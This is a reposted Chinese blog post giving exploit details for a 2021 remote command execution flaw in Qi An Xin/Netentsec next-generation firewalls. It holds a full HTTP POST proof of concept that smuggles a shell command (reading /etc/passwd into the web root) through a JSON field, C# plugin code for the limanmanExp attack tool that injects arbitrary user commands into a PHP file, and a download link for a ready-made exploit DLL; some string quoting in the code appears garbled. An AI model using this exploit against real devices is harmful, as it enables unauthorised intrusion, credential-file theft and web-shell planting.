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2021年HW0day-奇安信 网康下一代防火墙 RCE漏洞细节

开发技术 开发技术 6天前 5次浏览

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2021年HW0day-奇安信 网康下一代防火墙 RCE漏洞细节

漏洞信息:

漏洞名称:奇安信 网康下一代防火墙 RCE漏洞。
漏洞性质:远程命令执行
漏洞利用特点:命令执行之后没有回显
利用方式:防火墙使用linux进行开发的,可以使用echo xxx >123.txt这样的方式写入文件。 当文件生成目录在网站根目录下就可以直接访问了。

POC

POC为POST 类型的HTTP 请求报文

POST /directdata/direct/router HTTP/1.1
Host: x.x.x.x
Connection: close
Cache-Control: max-age=0
sec-ch-ua: "Google Chrome";v="89", "Chromium";v="89", ";Not A Brand";v="99"
sec-ch-ua-mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: https://x.x.x.x/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 178

{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}

以上的poc部分header选择性增删改查。
payload"data":[{"data":["/var/www/html/d.txt;cat /etc/passwd >/var/www/html/test_test.txt"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="} 部分。

结果获取

POC为http报文。发送之后访问https://xx.xx.xx.xx/test_test.txt 即可获得命令执行结果
2021年HW0day-奇安信 网康下一代防火墙 RCE漏洞细节

基于LimanmanExp的攻击工具开发。

由于本漏洞的触发是基于HTTP 请求的,所以可以使用limanmanExp 进行攻击插件进行开发
limanmanExp开发

构建url

public Dictionary Poc_GetUrl(Dictionary> data)
        {//url
            Dictionary numberOfTime = new Dictionary();
            Dictionary url = new Dictionary();
            url= data["url"];
            url["url"] += "/directdata/direct/router";
            //**do something**
            return url;

        }

构建header

public Dictionary Poc_GetHeaders(Dictionary> data)
        {//headers
            Dictionary headers = new Dictionary();
            //**do something**
            headers["UserAgent"] = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0";
            headers["Accept"] = "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9";
            headers["Accept-Language"]= "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept - Encoding: gzip, deflate";
            headers["ContentType"] = "application/x-www-form-urlencoded";

            return headers;
        }

构建body

public Dictionary Poc_GetBody(Dictionary> data)
        {//body
            Dictionary body = new Dictionary();
            //**do something**
            if (data["others"]["otherPayload"] != null && data["others"]["otherPayload"] != "其他载荷")
            {
                //数据来自于用户的输入,在主程序的首页第三个大文本框中。
                data["others"]["otherPayload"] = data["others"]["otherPayload"].Replace(""", """).Replace("", "\");
                body["body"] = "{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;" + data["others"]["otherPayload"] + " >/var/www/html/test_cmd.php"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}";
            }
            else
            {
                body["body"] = "{"action":"SSLVPN_Resource","method":"deleteImage","data":[{"data":["/var/www/html/d.txt;" + "echo "/var/www/html/test_cmd.php"]}],"type":"rpc","tid":17,"f8839p7rqtj":"="}";
            }
            return body;
        }

设置limanmanEXP报文发送设置

 public Dictionary Poc_GetOther(Dictionary> data)
        {//othersInfo
            Dictionary other = new Dictionary();
            other = data["others"];
            if (other["numberOfTime"] == "0")
            {//初始标识0
                other["numberOfTime"] = "2";//发送post请求
                                            //**do something**
            }
            else
            {//结束标志0
                other["numberOfTime"] = "0";

            }
            return other;
        }

如果你是懒人,请直接

链接:https://pan.baidu.com/s/1j-dMtJYiOk2Pfo7QoEXHMA 
提取码:rw8l 

下载
2021年HW0day-奇安信 网康下一代防火墙 RCE漏洞细节
NetentSec_HW_0dya.dll 放入插件目录, 运行limanmanExp即可。
2021年HW0day-奇安信 网康下一代防火墙 RCE漏洞细节

如果需要详细的开发教程, 可以查看开发手册:
https://www.kancloud.cn/qq496672097/limanmanexp/2139153

转:

2021年HW0day-奇安信 网康下一代防火墙 RCE漏洞细节


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